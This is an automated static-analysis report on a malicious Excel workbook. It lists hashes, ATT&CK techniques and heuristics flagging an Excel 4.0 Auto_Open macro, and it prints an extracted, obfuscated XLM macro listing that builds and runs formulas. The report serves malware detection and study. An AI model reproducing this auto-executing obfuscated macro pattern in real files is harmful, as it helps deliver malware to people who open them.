Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d6bc99eb4519d4eb…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:22 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 301b9883345c994969132ebe5d2fa83c SHA-1: 0bce37a8b4a92a1c5ce46b0b8aa3b0927a4e3ab4 SHA-256: d6bc99eb4519d4ebef8093a3c9079edea9cdf88862fd0ececb165e006dbb7d4f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests the macro is designed to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the Auto_Open function is a common technique for launching malicious scripts or downloading further stages.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6384 bytes
SHA-256: 2c84f8038536f880c754c8413fc4ce257c496a18b2a438f7711c4a8e4689bcf6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CKn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D178 
' 0018     24 LABEL : Cell Value, String Constant - bieMZDuZd len=0 
' 0018     23 LABEL : Cell Value, String Constant - CnsWsaPw len=0 
' 0018     25 LABEL : Cell Value, String Constant - EInUUrfmbP len=0 
' 0018     20 LABEL : Cell Value, String Constant - HJGXK len=0 
' 0018     22 LABEL : Cell Value, String Constant - HrxfwrJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - IlAsgoj len=0 
' 0018     20 LABEL : Cell Value, String Constant - KSAsx len=0 
' 0018     22 LABEL : Cell Value, String Constant - ktgfyuq len=0 
' 0018     27 LABEL : Cell Value, String Constant - LAkzRioTVLTH len=0 
' 0018     26 LABEL : Cell Value, String Constant - qLfZVAlNdbM len=0 
' 0018     25 LABEL : Cell Value, String Constant - tvQILHAHyD len=0 
' 0018     20 LABEL : Cell Value, String Constant - vhdzF len=0 
' 0018     20 LABEL : Cell Value, String Constant - voZBg len=0 
' 0018     26 LABEL : Cell Value, String Constant - vrZGpkIuLlv len=0 
' 0018     24 LABEL : Cell Value, String Constant - WPSzLxSBe len=0 
' 0018     23 LABEL : Cell Value, String Constant - xeHdkYut len=0 
' 0018     23 LABEL : Cell Value, String Constant - ybEbWPsB len=0 
' 0018     21 LABEL : Cell Value, String Constant - ycNbtv len=0 
' 0018     20 LABEL : Cell Value, String Constant - yEdtZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - yYBhGIhb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CKn,D84,"SET.NAME("yEdtZ",VALUE("0"))",""
'  CKn,D87,"SET.NAME("voZBg",yEdtZ)",""
'  CKn,D90,"SET.NAME("qLfZVAlNdbM",yEdtZ)",""
'  CKn,D94,"SET.NAME("ycNbtv",COUNTA(WPSzLxSBe))",""
'  CKn,D96,"SET.NAME("LAkzRioTVLTH",COUNTA(xeHdkYut))",""
'  CKn,D99,[],""
'  CKn,D102,"SET.NAME("IlAsgoj","")",""
'  CKn,D106,"voZBg",""
'  CKn,D111,"SET.NAME("vrZGpkIuLlv",HLOOKUP("*",WPSzLxSBe,voZBg,FALSE))",""
'  CKn,D115,"ybEbWPsB",""
'  CKn,D120,"SET.NAME("bieMZDuZd",yEdtZ)",""
'  CKn,D123,[],""
'  CKn,D127,"bieMZDuZd",""
'  CKn,D129,"ktgfyuq",""
'  CKn,D133,"HrxfwrJ",""
'  CKn,D136,"tvQILHAHyD",""
'  CKn,D141,"SET.NAME("yYBhGIhb",VALUE(HLOOKUP("*",xeHdkYut,tvQILHAHyD,FALSE)))",""
'  CKn,D144,"vhdzF",""
'  CKn,D148,"IlAsgoj",""
'  CKn,D152,"qLfZVAlNdbM",""
'  CKn,D155,NEXT(),""
'  CKn,D157,"EInUUrfmbP",""
'  CKn,D162,"SET.NAME("f",INT(T(FORMULA(T(IlAsgoj)&"",""&T(EInUUrfmbP)))))",""
'  CKn,D167,"KSAsx",""
'  CKn,D171,NEXT(),""
'  CKn,D175,RETURN(),""
'  CKn,D205,"SET.NAME("HJGXK",D84)",""
'  CKn,D207,"WPSzLxSBe",""
'  CKn,D212,"SET.NAME("xeHdkYut",R52C12)",""
'  CKn,D217,"SET.NAME("KSAsx",224)",""
'  CKn,D220,"SET.NAME("CnsWsaPw",4)",""
'  CKn,D223,HJGXK(),""
'  CKn,D224,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.